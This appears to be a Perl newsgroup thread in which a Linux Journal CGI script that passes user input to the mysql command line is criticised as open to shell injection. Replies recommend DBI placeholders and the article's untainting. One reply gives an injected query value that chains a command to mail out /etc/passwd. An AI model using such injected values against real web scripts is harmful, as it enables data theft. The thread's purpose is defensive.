Web Reporting Enhancement

[pmcgover]

I enjoyed Paul Barry's September article in Linux Journal entitled,
"Web Reporting with MySQL, CSS and Perl". It provides a simple,
elegant way to use HTML to display database content without any sql
markup in the cgi script. The cgi script simply calls the Mysql
command line with the HTML option (-H) and the SQL script file directed
to that command. This provides complete separation of the markup from
the sql code. The plain vanila HTML output can be spruced up with CSS
to provide more color and size control of the HTML.

This model could be much more powerful if you could pass an SQL query
parameter from the user to the sql script. I attempted this by
substituting the string "p_1" in the where clause of the sql code but I
could not substitute this string with the value in the cgi code (ie.
$query =~ s/p_1/value_variable/.

Any ideas how this could be made to work? Would it be a security
issue, or is it still possible to "taint" the user input value?
Thanks!

Below is a link to the article:
http://delivery.acm.org/10.1145/116...coll=ACM&dl=ACM&CFID=15151515&CFTOKEN=6184618

 

[Randal L. Schwartz]

pmcgover@gmail> Any ideas how this could be made to work? Would it be a security
pmcgover@gmail> issue, or is it still possible to "taint" the user input value?
pmcgover@gmail> Thanks!

pmcgover@gmail> Below is a link to the article:
pmcgover@gmail> http://delivery.acm.org/10.1145/116...coll=ACM&dl=ACM&CFID=15151515&CFTOKEN=6184618

Egad! This guy has NO CLUE about security:

my $query = param( 'query' );
my $title = param( 'title' );

The script then creates the command line that runs the query through the MySQL client program. Note that Perl's dot operator is used to concatenate strings:

my $cmdline = MYSQL .
' -H -u ' .
USERID .
' -p' .
PASSWD .
' ' .
DBNAME .
"< $query ";

What if param('query') contains:

"whocares; mail (e-mail address removed) </etc/passwd";

Idiot. People without clues should NOT be writing articles.

print "Just another Perl hacker,"; # the original

 

[pmcgover]

Thanks Radal,

Egad! This guy has NO CLUE about security:

my $query = param( 'query' );
my $title = param( 'title' );

Did you read the tainting code at the bottom of the article? ....
$query =~ /^([-\w]+\.sql)$/;
$query = $1;

$title =~ /^([\w:.?! ]+)$/;
$title = $1;

I did some tests and I thought it worked as intended. Anyway, do you
have any ideas how to do the enhancement I mentioned earlier?
Pat

 

[Brian McCauley]

This model could be much more powerful if you could pass an SQL query
parameter from the user to the sql script. I attempted this by
substituting the string "p_1" in the where clause of the sql code but I
could not substitute this string with the value in the cgi code (ie.
$query =~ s/p_1/value_variable/.

Below is a link to the article:
http://delivery.acm.org/....

In that article the variable $query contains the _name_of_a_file_ that
contains the SQL statement.

You are talking about trying to apply subsitutions to an SQL statement
in $query.

You either have signficantly different code from that in the article or
you are seriously confused.

Any ideas how this could be made to work?

You could read in the SQL template in, pass it wthough some sort of
templating engine (the simplest just being your s///), write it out
again to a named temporary file then use that filename in the qx//.

Just to be clear, I said you _could_ do this. You could also plunge
your hand into a deep fat frier. Neither of these are courses of action
I'd recommend.

Abondon the extreamly dubious technique of using qx// to call a command
line SQL tool and use DBI (or one of the DBIx modules) and placeholders
like everyone else.

Would it be a security issue

If you need to ask you really should not be contemplating this course.

 

[Brian McCauley]

my $cmdline = MYSQL .
' -H -u ' .
USERID .
' -p' .
PASSWD .
' ' .
DBNAME .
"< $query ";

What if param('query') contains:

"whocares; mail (e-mail address removed) </etc/passwd";

I think you'll find the author went on to make that exact same point in
order to illustrate the importance of tainting and laundering.

 

[Ted Zlatanov]

Thanks Radal,

Egad! This guy has NO CLUE about security:

my $query = param( 'query' );
my $title = param( 'title' );

Did you read the tainting code at the bottom of the article? ....
$query =~ /^([-\w]+\.sql)$/;
$query = $1;

$title =~ /^([\w:.?! ]+)$/;
$title = $1;

1) It's a bad idea to post bad code in an article, then correct it
later in the article. People copy&paste all the time without
reading thoroughly.

2) Instead of using the proper --tee and --execute options, the author
uses backticks and shell redirection. Sure, it's easier the
author's way, but system() is much safer with a list of arguments.

Ted

 

[Ted Zlatanov]

This model could be much more powerful if you could pass an SQL
query parameter from the user to the sql script. I attempted this
by substituting the string "p_1" in the where clause of the sql code
but I could not substitute this string with the value in the cgi
code (ie. $query =~ s/p_1/value_variable/.

Any ideas how this could be made to work? Would it be a security
issue, or is it still possible to "taint" the user input value?
Thanks!

It's very difficult to untaint SQL parameters if you are going to
interpolate them directly into the SQL statement and run it as text.
Try using parameters to a DBI statement instead. That will also show
you why the author's method of running `mysql' directly is inefficient
and very limited.

Ted